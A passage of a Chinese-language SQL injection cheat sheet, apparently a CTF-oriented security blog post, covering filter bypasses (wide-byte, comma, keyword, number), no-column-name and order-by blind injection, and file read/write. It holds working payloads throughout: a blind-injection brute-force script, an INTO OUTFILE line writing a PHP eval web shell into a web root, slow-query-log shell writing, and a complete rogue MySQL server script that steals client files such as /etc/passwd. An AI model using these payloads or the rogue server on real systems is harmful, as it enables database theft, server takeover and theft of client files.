for j in range(15):#当最后print的flag值无变化时注入完成。此值不一定为15,根据flag长度调整
for i in range(33,127):#不要使用字典
data["password"]="*/ union select 1,2,'{0}{1}' order by 3,'".format(flag,chr(i))
web = s.post(url,data=data,headers=headers)
if 'union_373_Tom' in str(web.content,encoding='utf8'):#直接web.text会出现编码问题,所以没那么写
flag += chr(i-1)
print('flag:'+flag)
j+=1
break

过滤引号绕过

宽字节注入,其他没办法了,好好看看题

%bf%27 %df%27 %aa%27

GBK占用两字节

ASCII占用一字节

PHP中编码为GBK,函数执行添加的是ASCII编码,MYSQL默认字符集是GBK等宽字节字符集。

输入%df和函数执行添加的%5C,被合并成%df%5C。由于GBK是两字节,这个%df%5C被MYSQL识别为GBK。导致本应的%df\变成%df%5C。%df%5C在GBK编码中没有对应,所以被当成无效字符。

%DF’:会被PHP当中的addslashes函数转义为 “%DF\'”“\” 既URL里的“ %5C ”,那么也就是说,“ %DF' ”会被转成“ %DF%5C%27 ”倘若网站的字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为“ %DF%5C%27 ”是一个宽字符。也就是“縗**’**”

例如: http://www.xxx.com/login.php?user=%df' or 1=1 limit 1,1%23&pass=

字符串可用十六进制表示、也可通过进制转换函数表示成其他进制

其对应的sql就是:

select * fromcms_user where username = ‘運’ or 1=1 limit 1,1#’ and password=”

过滤逗号绕过

#替换有关函数
substr(data from 1 for 1)相当于substr(data,1,1)、limit 9 offset 4相当于limt 9,4
#利用join
union select 1,2,3;
union select * from ((select 1)A join (select 2)B join (select 3)C);
union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);

过滤数字绕过

使用 conv([10-36],10,36) 可以实现所有字符的表示

代替字符 数 代替字符 数|字母 代替字符 数|字母 false、!pi() 0 ceil(pi()*pi()) 10|A ceil((pi()+pi())*pi()) 20|K true、!(!pi()) 1 ceil(pi()*pi())+true 11|B ceil(ceil(pi())*version()) 21|L true+true 2 ceil(pi()+pi()+version()) 12|C ceil(pi()*ceil(pi()+pi())) 22|M floor(pi())、~~pi() 3 floor(pi()*pi()+pi()) 13|D ceil((pi()+ceil(pi()))*pi()) 23|N ceil(pi()) 4 ceil(pi()*pi()+pi()) 14|E ceil(pi())*ceil(version()) 24|O floor(version()) //注意版本 5 ceil(pi()*pi()+version()) 15|F floor(pi()*(version()+pi())) 25|P ceil(version()) 6 floor(pi()*version()) 16|G floor(version()*version()) 26|Q ceil(pi()+pi()) 7 ceil(pi()*version()) 17|H ceil(version()*version()) 27|R floor(version()+pi()) 8 ceil(pi()*version())+true 18|I ceil(pi()*pi()*pi()-pi()) 28|S floor(pi()*pi()) 9 floor((pi()+pi())*pi()) 19|J floor(pi()*pi()*floor(pi())) 29|T

过滤关键字and、or

and => &&(%26%26)
or => ||
#直接拼接等号
mysql> select * from users where id=1=if(1,1,0);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.04 sec)
#使用^
mysql> select * from users where id=1^if(1,1,0);
Empty set

mysql> select * from users where id=1^if(1,0,0);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.04 sec)

mysql> select 1^1;
+-----+
| 1^1 |
+-----+
| 0 |
+-----+
1 row in set (0.04 sec)

mysql> select 1^0;
+-----+
| 1^0 |
+-----+
| 1 |
+-----+
1 row in set (0.04 sec)

过滤关键字select

过滤了select一般就只能注同一个表的数据了,列名还得猜

基本是别想注出东西了

mysql> select * from users where id='' or if(substr((select group_concat(password)),1,1)='d',1,0);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 12 | dhakkan | dumbo |
+----+----------+----------+
2 rows in set (0.06 sec)

过滤关键字information_schema等

过滤这些关键字时我们一般无法通过常用方法获取表名,列名

先是用骚操作获取表名的方法:

以下大部分特殊数据库都是在 mysql5.7 以后的版本才有,访问sys数据库需要有 相应权限

获取列名的方法见 无列名注入

-- 总结
---- 爆表
`sys`.`x$innodb_buffer_stats_by_table`
`sys`.`x$schema_flattened_keys`
`sys`.`x$ps_schema_table_statistics_io`
`sys`.`x$schema_index_statistics`
`sys`.`x$schema_table_statistics`
`sys`.`x$schema_table_statistics_with_buffer`
`sys`.`io_global_by_file_by_bytes`
mysql.innodb_table_stats
mysql.innodb_index_stats
---- 查看历史语句
mysql> SELECT QUERY FROM sys.x$statement_analysis WHERE QUERY REGEXP DATABASE();
+-----------------------------------------------------------------------------------------------------------------------------------+
| query |
+-----------------------------------------------------------------------------------------------------------------------------------+
| SHOW TABLE STATUS FROM `security` |
| SHOW CREATE TABLE `security` . `emails` |
| SHOW CREATE TABLE `security` . `users` |
| SHOW CREATE TABLE `security` . `referers` |
+-----------------------------------------------------------------------------------------------------------------------------------+
mysql> SELECT QUERY FROM `sys`.`statement_analysis` where QUERY REGEXP DATABASE();
+-----------------------------------------------------------+
| query |
+-----------------------------------------------------------+
| SHOW TABLE STATUS FROM `security` |
| SHOW CREATE TABLE `security` . `emails` |
| SHOW CREATE TABLE `security` . `users` |
| SHOW CREATE TABLE `security` . `referers` |
| SELECT * FROM `security` . `users` LIMIT ? |
| SHOW CREATE TABLE `security` . `uagents` |
| SHOW CREATE PROCEDURE `security` . `select_first_column` |
| SHOW CREATE TABLE `security` . `users` |
| SHOW OPEN TABLES FROM `security` WHERE `in_use` != ? |
| SHOW TRIGGERS FROM `security` |
| USE `security` |
| USE `security` |
+-----------------------------------------------------------+
12 rows in set (0.01 sec)

innodb

如果数据库的数据表的引擎为innodb,则会在 mysql.innodb_table_stats

mysql.innodb_index_stats 中记录表的信息

mueaMrJ.png!webimage-20191208222837051zQzMNzM.png!webimage-20191208222907558

sys数据库

里面存储整合了整个数据库的许多资料,资料用处暂且不提,从中我们可以获取大部分数据库名和表名

例如: sys.schema_table_statistics_with_buffer

存储了所有数据库的表名

table_schema bIz263U.png!web

还有: sys.schema_object_overview

存储了所有数据库名

u2qu63.png!webimage-20191208223954326

更有趣的: statement_analysis

记录了我们执行过的所有语句

说不定能直接看到flag(笑)

vi2Mje2.png!webimage-20191208224135535EjueqmM.png!webimage-20191208224256131

过滤其他关键字

#使用同义语句
例如if与
case when condition then 1 else 0 end
substr
substring()
lpad(user(),2,1) = ro
rpad(user(),2,1) = ro
left(user(),2) = ro
mid(user(),1,1) = r
mid(user(),2,1) = o
以及这个神奇的东西
mysql> select insert(insert(user(),1,0,space(0)),2,222,space(0));
+----------------------------------------------------+
| insert(insert(user(),1,0,space(0)),2,222,space(0)) |
+----------------------------------------------------+
| r |
+----------------------------------------------------+
1 row in set (0.05 sec)

mysql> select insert(insert(user(),1,1,space(0)),2,222,space(0));
+----------------------------------------------------+
| insert(insert(user(),1,1,space(0)),2,222,space(0)) |
+----------------------------------------------------+
| o |
+----------------------------------------------------+
1 row in set (0.04 sec)

mysql> select insert(insert(user(),1,2,space(0)),2,222,space(0));
+----------------------------------------------------+
| insert(insert(user(),1,2,space(0)),2,222,space(0)) |
+----------------------------------------------------+
| o |
+----------------------------------------------------+
1 row in set (0.04 sec)

mysql> select insert(insert(user(),1,3,space(0)),2,222,space(0));
+----------------------------------------------------+
| insert(insert(user(),1,3,space(0)),2,222,space(0)) |
+----------------------------------------------------+
| t |
+----------------------------------------------------+
1 row in set (0.04 sec)

无列名注入

然后是获取列名:

通过join报错获取列名

先介绍下join的作用机理:

如果现在有两个表stu和class

vqm2YjV.png!web20191112210318957BbUfEjf.png!web20191112210318957

我们执行 stu join class 后,结果为:

NVbUzif.png!webimage-20191209085705203

通过上面的例子总结一下:

  • join后的列名是两个表列名加起来的,可能会产生相同的列名,如id 和 name

  • 先用表stu中的一行数据和表class中的每一行数据不断的拼接,产生新的行

  • 再用表stu的第二行去和表class中的每一行数据拼接,以此类推

  • 表stu是3行,表class是2行,所以按照上面的规律会产成3*2 = 6行的新的表

然后再来看下别名

使用别名时,表中不能出现同的字段名,这就跟join第一个特点相冲突,所以在join和别名同时使用时会导致报错

mysql> select * from (select * from users join users as a) as b;
ERROR 1060 (42S21): Duplicate column name 'id'

使用using可以爆其他字段

mysql> select * from (select * from users join users as b using(id)) as c;
ERROR 1060 (42S21): Duplicate column name 'username'

使用子查询绕过列名

我们可以在不知道列名的情况下查询出数据

即用子查询把列名覆盖掉(得先测出这个表有多少列)

mysql> select 1,2,3 union select * from users;
+----+----------+------------+
| 1 | 2 | 3 |
+----+----------+------------+
| 1 | 2 | 3 |
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
14 rows in set (0.00 sec)

这样我们就可以用自己构造的列名查询数据了

mysql> select a.3 from (select 1,2,3 union select * from users) as a;
+------------+
| 3 |
+------------+
| 3 |
| Dumb |
| I-kill-you |
| p@ssword |
| crappy |
| stupidity |
| genious |
| mob!le |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dumbo |
| admin4 |
+------------+
14 rows in set (0.00 sec)

也可以这样:

mysql> select `3` from (select 1,2,3 union select * from users) as a;
+------------+
| 3 |
+------------+
| 3 |
| Dumb |
| I-kill-you |
| p@ssword |
| crappy |
| stupidity |
| genious |
| mob!le |
| admin |
| admin1 |
| admin2 |
| admin3 |
| dumbo |
| admin4 |
+------------+
14 rows in set (0.00 sec)

生僻函数报错出表名

mysql> select * from users where id=1 and Polygon(id);
ERROR 1367 (22007): Illegal non geometric '`security`.`users`.`id`' value found during parsing

/*同理,还有
linestring()
multiPolygon(id)
multilinestring(id)
GeometryCollection(id)
MultiPoint(id)
*/

order by盲注

union...select 被过滤

第一个方法是使用上面写的子查询绕过列名,或者使用特殊函数报错出列名

但是当 union和select不能一起使用时 ,可以用以下方法

mysql> select * from users;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-love-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
13 rows in set (0.00 sec)

#注意mysql中比较默认不区别大小写,所以c的ascii码小于d的
mysql> select (select 1,'c') > (select id,username from users limit 0,1);
+------------------------------------------------------------+
| (select 1,'c') > (select id,username from users limit 0,1) |
+------------------------------------------------------------+
| 0 |
+------------------------------------------------------------+
1 row in set (0.00 sec)
#id=2大于右面的id=1
mysql> select (select 2,'c') > (select id,username from users limit 0,1);
+------------------------------------------------------------+
| (select 2,'c') > (select id,username from users limit 0,1) |
+------------------------------------------------------------+
| 1 |
+------------------------------------------------------------+
1 row in set (0.01 sec)
#e的ascii码大于d
mysql> select (select 1,'e') > (select id,username from users limit 0,1);
+------------------------------------------------------------+
| (select 1,'e') > (select id,username from users limit 0,1) |
+------------------------------------------------------------+
| 1 |
+------------------------------------------------------------+
1 row in set (0.00 sec)
#比较第二位
mysql> select (select 1,'du') > (select id,username from users limit 0,1);
+-------------------------------------------------------------+
| (select 1,'du') > (select id,username from users limit 0,1) |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select (select 1,'dv') > (select id,username from users limit 0,1);
+-------------------------------------------------------------+
| (select 1,'dv') > (select id,username from users limit 0,1) |
+-------------------------------------------------------------+
| 1 |
+-------------------------------------------------------------+
1 row in set (0.00 sec)
#区分大小写
mysql> select (select 1,binary('du')) > (select id,username from users limit 0,1);
+---------------------------------------------------------------------+
| (select 1,binary('du')) > (select id,username from users limit 0,1) |
+---------------------------------------------------------------------+
| 1 |
+---------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select (select 1,binary('Du')) > (select id,username from users limit 0,1);
+---------------------------------------------------------------------+
| (select 1,binary('Du')) > (select id,username from users limit 0,1) |
+---------------------------------------------------------------------+
| 0 |
+---------------------------------------------------------------------+
1 row in set (0.00 sec)
#如果in被过滤了
#当一个字符串连接一个二进制的值时CONCAT("aa", BINARY("BB")),其得到的也将是二进制。因此我需要找到一个方法,将一个二进制字符串插入CONCAT函数中。
#经过反复试验,我终于发现MySQL中的JSON对象是二进制对象,因此,CAST(0 AS JSON)会返回一个二进制字符串,进而SELECT CONCAT(“A”, CAST(0 AS JSON))也会返回一个二进制字符串。
mysql> select (select 1,concat('du',cast(0 as json))) > (select id,username from users limit 0,1);
+-------------------------------------------------------------------------------------+
| (select 1,concat('du',cast(0 as json))) > (select id,username from users limit 0,1) |
+-------------------------------------------------------------------------------------+
| 1 |
+-------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select (select 1,concat('Du',cast(0 as json))) > (select id,username from users limit 0,1);
+-------------------------------------------------------------------------------------+
| (select 1,concat('Du',cast(0 as json))) > (select id,username from users limit 0,1) |
+-------------------------------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

分辨大小写

见↑,可以使用BINARY或者json

其他类型的注入

读写文件

  • 利用 into outfile 写文件
  • 利用日志写文件

  • 备份数据库写文件?

  • 利用 load_file() 读文件
  • 利用 load data infile() 读文件

写文件功能

1、需要的权限

  • 目标目录要有可写权限

  • 当前数据库用户要有FILE权限

  • 目标文件不能已存在

  • secure_file_priv的值为空

  • 路径完整

secure_file_priv

secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL

secure_file_priv 值查看和修改

查看:

mysql> show global variables like 'secure_file_priv';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | NULL |
+------------------+-------+
1 row in set (0.00 sec)

注入的时候也可以通过 全局变量 查询该值的值

select+@@GLOBAL.slow_query_log

nmUrmi6.png!web1565938389838

修改:

win和linux下都是在配置文件中的 [mysqld] 选项下加入 secure_file_priv =

加上后再查找的效果是这样的

mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)

2、 into outfile 写文件

语句

select "<?php eval($_POST[rayi]); ?>" into outfile "/var/www/html/rayi.php";

如果权限配置没有问题的话,网站根目录下就会多出一个1.php,内容为我们写的代码。

3、日志写文件

mysql日志主要包含:错误日志、查询日志、慢查询日志、事务日志

我们主要利用慢查询日志来写shell,步骤大致分为三步

1)设置slow_query_log=1.即启用慢查询日志(默认禁用)。

mysql> show variables like '%slow_query_log%';
+----------------+-------+
| Variable_name | Value |
+----------------+-------+
| slow_query_log | ON |
+----------------+-------+
1 row in set (0.00 sec)

利用堆叠注入,执行开启慢查询日志的语句

set global slow_query_log=1;

iQRFr2A.png!web

现在看一下,慢查询日志已经被开启了

mysql> show variables like '%slow_query_log%';
+----------------+-------+
| Variable_name | Value |
+----------------+-------+
| slow_query_log | ON |
+----------------+-------+
1 row in set (0.00 sec)

2)伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名

set global slow_query_log_file='dir/filename'

jMzARry.png!web
mysql> show variables like '%slow_query_log%';
+---------------------+-----------------------------+
| Variable_name | Value |
+---------------------+-----------------------------+
| slow_query_log | ON |
| slow_query_log_file | /www/wwwroot/html/shell.php |
+---------------------+-----------------------------+
2 rows in set (0.00 sec)

3)向日志文件写入shell

zUjYJ3M.png!webb6NjMnI.png!web

读文件功能

1、 load_file 读取文件

同样需要修改 secure_file_priv 参数

shell.php中内容为123

load_file('/www/wwwroot/html/shell.php')

Ffuiaej.png!web

2、 load data infile() 读文件

同样需要修改 secure_file_priv 参数

load data infile '文件名' into table 表名

3ERbQrq.png!web1565927856673
1565927896690

文件内容被读入了id这一列中

文件过大可以用 hex() 函数转为16进制

Rogue-MySql-Server任意文件读取

简单介绍,就是利用Python脚本把自己伪造成一个mysql服务器

当有客户端连接时,客户端会先发送一个请求连接,我们可以发送回一个允许所有用户连接的数据包,这时候,客户端就以为自己连接上了我们这个假的服务器

这时候,如果客户端再发送一个查询语句(什么都可以)的时候,我们就可以返回一个需要本地文件的请求(基于mysql load data local infile语句,即读取客户端本地文件),要求客户端读取本地的文件。

正常情况:

客户端:  hi~ 我能查询下xxx吗 服务端:  OK,我在查询,这是结果 客户端:  好的

被恶意服务器篡改的情况:

客户端: hi~ 我能查询下xxx吗 服务端: OK,读取你本地的user.txt文件发给我 客户端: 这是文件内容: usename:password

流程:

  • 向mysql client发送Server greeting包

  • 对mysql client的登录包做Accept all authentications响应(即任意用户密码都能登录)

  • 等待 Client 端发送一个Query Package

  • 回复一个file transfer请求

以上数据包可以通过国wireshark抓包获取

exp

使用时,修改端口或者需要读取的文件,然后运行,会在当前目录下生成mysql.log,当开启了 --enable-local-infile的客户端连接时,就能读取到客户端的文件

#!/usr/bin/env python2
#coding: utf8


import socket
import asyncore
import asynchat
import struct
import random
import logging
import logging.handlers



PORT = 3306

log = logging.getLogger(__name__)

log.setLevel(logging.INFO)
tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
log.addHandler(
tmp_format
)

filelist = (
'/etc/passwd',
)


#================================================
#=======No need to change after this lines=======
#================================================

__author__ = 'Gifts'

def daemonize():
import os, warnings
if os.name != 'posix':
warnings.warn('Cant create daemon on non-posix system')
return

if os.fork(): os._exit(0)
os.setsid()
if os.fork(): os._exit(0)
os.umask(0o022)
null=os.open('/dev/null', os.O_RDWR)
for i in xrange(3):
try:
os.dup2(null, i)
except OSError as e:
if e.errno != 9: raise
os.close(null)


class LastPacket(Exception):
pass


class OutOfOrder(Exception):
pass


class mysql_packet(object):
packet_header = struct.Struct('<Hbb')
packet_header_long = struct.Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, mysql_packet):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload

def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

result = "{0}{1}".format(
header,
self.payload
)
return result

def __repr__(self):
return repr(str(self))

@staticmethod
def parse(raw_data):
packet_num = ord(raw_data[0])
payload = raw_data[1:]

return mysql_packet(packet_num, payload)


class http_request_handler(asynchat.async_chat):

def __init__(self, addr):
asynchat.async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'Auth'
self.logined = False
self.push(
mysql_packet(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)) )
)

self.order = 1
self.states = ['LOGIN', 'CAPS', 'ANY']

def push(self, data):
log.debug('Pushed: %r', data)
data = str(data)
asynchat.async_chat.push(self, data)

def collect_incoming_data(self, data):
log.debug('Data recved: %r', data)
self.ibuffer.append(data)

def found_terminator(self):
data = "".join(self.ibuffer)
self.ibuffer = []

if self.state == 'LEN':
len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = 'Data'
else:
self.state = 'MoreLength'
elif self.state == 'MoreLength':
if data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = 'Data'
elif self.state == 'Data':
packet = mysql_packet.parse(data)
try:
if self.order != packet.packet_num:
raise OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
log.info('Query')

filename = random.choice(filelist)
PACKET = mysql_packet(
packet,
'\xFB{0}'.format(filename)
)
self.set_terminator(3)
self.state = 'LEN'
self.sub_state = 'File'
self.push(PACKET)
elif packet.payload[0] == '\x1b':
log.info('SelectDB')
self.push(mysql_packet(
packet,
'\xfe\x00\x00\x02\x00'
))
raise LastPacket()
elif packet.payload[0] in '\x02':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == 'File':
log.info('-- result')
log.info('Result: %r', data)

if len(data) == 1:
self.push(
mysql_packet(packet, '\0\0\0\x02\0\0\0')
)
raise LastPacket()
else:
self.set_terminator(3)
self.state = 'LEN'
self.order = packet.packet_num + 1

elif self.sub_state == 'Auth':
self.push(mysql_packet(
packet, '\0\0\0\x02\0\0\0'
))
raise LastPacket()
else:
log.info('-- else')
raise ValueError('Unknown packet')
except LastPacket:
log.info('Last packet')
self.state = 'LEN'
self.sub_state = None
self.order = 0
self.set_terminator(3)
except OutOfOrder:
log.warning('Out of order')
self.push(None)
self.close_when_done()
else:
log.error('Unknown state')
self.push('None')
self.close_when_done()


class mysql_listener(asyncore.dispatcher):
def __init__(self, sock=None):
asyncore.dispatcher.__init__(self, sock)

if not sock:
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', PORT))
except socket.error:
exit()

self.listen(5)

def handle_accept(self):
pair = self.accept()

if pair is not None:
log.info('Conn from: %r', pair[1])
tmp = http_request_handler(pair)


z = mysql_listener()
# daemonize()
asyncore.loop()

7VZBJrF.png!webimage-20200312113033290

使用的题目:

2020高效战疫赛

.mysql.history

不算是注入

但是跟数据库沾边

先记下来

.mysql.history里面记录了使用过的mysql命令

参考链接:

https://xz.aliyun.com/t/7169

https://www.cdxy.me/?p=789

http://www.cnblogs.com/Mrsm1th/p/8718744.html

还有其他的一些参考文章,原链接找不到了,在此对各位分享知识的师傅表示感谢

欢迎各位大佬关注我们我们实验室公众号,我们会继续保持更新,分享安全方面的知识文章


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK